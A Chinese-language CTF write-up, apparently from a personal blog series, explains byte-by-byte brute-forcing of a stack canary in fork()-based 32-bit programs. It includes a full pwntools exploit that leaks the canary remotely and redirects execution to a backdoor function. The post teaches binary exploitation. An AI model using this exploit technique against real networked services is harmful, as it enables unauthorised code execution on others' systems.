Canary绕过专题(3)——One-By-One爆破
648 字
3 分钟
Canary绕过专题(3)——One-By-One爆破
利用fork()获取Canary
核心原理
fork()是一个系统调用,它的作用是“复制”当前进程,创建一个全新的、几乎一模一样的子进程。
- 关键特性:
- 子进程是父进程的副本,它们有各自独立的内存空间。
- 对于Canary来说,最关键的一点是: 在
fork()出来的父子进程中,Canary的值是相同的
因为Canary在每次 fork()后是固定的,而我们可以通过让程序崩溃来获取信息,这就为我们爆破提供了可能。
Canary通常是一个4字节(32位程序)或8字节(64位程序)的值,最低位通常是**\x00**
所以,我们需要爆破的是剩下的3个或7个字节。
核心思想: 我们无法一次性猜出整个Canary,但我们可以一个字节一个字节地猜。因为父子进程Canary相同,我们可以通过子进程是否崩溃来推断我们猜的字节是否正确
我们可以用这样的一个循环来爆破,从**\x00到\xFF**最大需要尝试256次
for i in range(需要爆破的字节数): for byte in range(256):然后接收反馈的信息,通常错误的Canary会反馈 *** stack smashing detected ***:./pwn(程序名) terminated
if b'*** stack smashing detected ***' in response: continueif b'正常反馈' in response: canary += bytes([byte]) break打远程的时候最好添加一个 sleep,执行起来更顺畅
看这道例题

IDA分析一下

可以看到fork的进程会调用 kid函数,这个函数没有可用的漏洞点
再看kid函数

很明显的栈溢出漏洞
那么思路就是用one-by-one爆破出Canary,再用栈溢出覆盖返回地址为 backdoor的地址
这里引用一位师傅的提醒
Note
在利用 fork() 爆破canary的时候,需要特别注意 send,sendline的区别,理解不同的发送方式可能会造成的逻辑混乱,请阅读这篇文章。
以及,如果用 chr(num).encode()的形式将数字转换成字节的话,会存在当 num>0x7f后,encode后会变成两个字节的问题,因此,不要用这种方式转换,可以用 bytes([i])的形式。
最后得出exp:
from pwn import *context.arch = 'i386'context.log_level = 'debug'#p = process('./canary3')p = remote('ip',port)
door = 0x8049321
p.recvuntil(b'please:\n')p.send(b'joker233')
canary_bytes = b'\x00'
for i in range(3): for byte in range(256): p.recvuntil(b'\n') payload = b'A'*30 + canary_bytes + bytes([byte]) p.send(payload) response = p.recvuntil(b'\n') if b'*** stack smashing detected ***' in response: continue if b'DO MORE ?' in response: canary_bytes += bytes([byte]) breakcanary = u32(canary_bytes)success(f'Canary is :{hex(canary)}')
pay2 = b'A'*30 + p32(canary) + b'B'*8 + b'C'*4 + p32(door)p.send(pay2)
p.interactive()支持与分享
如果这篇文章对你有帮助,欢迎分享给更多人或赞助支持!
Canary绕过专题(3)——One-By-One爆破
https://joker233.top/posts/canary-bypass-3-one-by-one-bruteforce/ 相关文章 智能推荐
1
Canary绕过专题(4)——SSP泄露
CTF 利用SSP泄露获取flag 机制讲解 SSP 是编译器为了防止栈溢出攻击加入的一种保护机制 当程序运行时检测到Canary被破坏,会触发 stackchkfail 函数,准备终止程序并报错。 关键特性: 报错机制: 在 glibc 2.25
2
Canary绕过专题(5)——劫持__stack_chk_fail
CTF 劫持stackchkfail函数 原理 遇到canary错误时,会执行以下函数: 劫持stackchkfaik函数的got表为目标函数即可 例题分析 检查安全机制 没有 Full RELRO ,修改GOT表的思路可行 再看IDA 能溢出12
3
Canary绕过专题(1)——覆盖截断字符
CTF 覆盖截断字符获取Canary 先看例题 检查一下安全机制 IDA中找到漏洞函数 很贴心的给了一个backdoor 这题的栈帧挺好分析的,画个图出来 函数中有两次栈溢出可利用,第一个 read可读112字节,正好覆盖不到返回地址 第二个 re
4
Canary绕过专题(2)——格式化字符串泄露
CTF 格式化字符串泄露Canary 检查一下安全机制 再看看IDA 跟上一道题差不多,但第一个 read只能读取5字节 我们主要还是关注后面的 printf 使用 printf的关键是找栈上的偏移 我们在gdb里运行到Canary在栈上被布置后,
5
DASCTF 2026 Pwn方向 WP
CTF DASCTF 2026 Pwn方向部分题目赛后复现
随机文章 随机推荐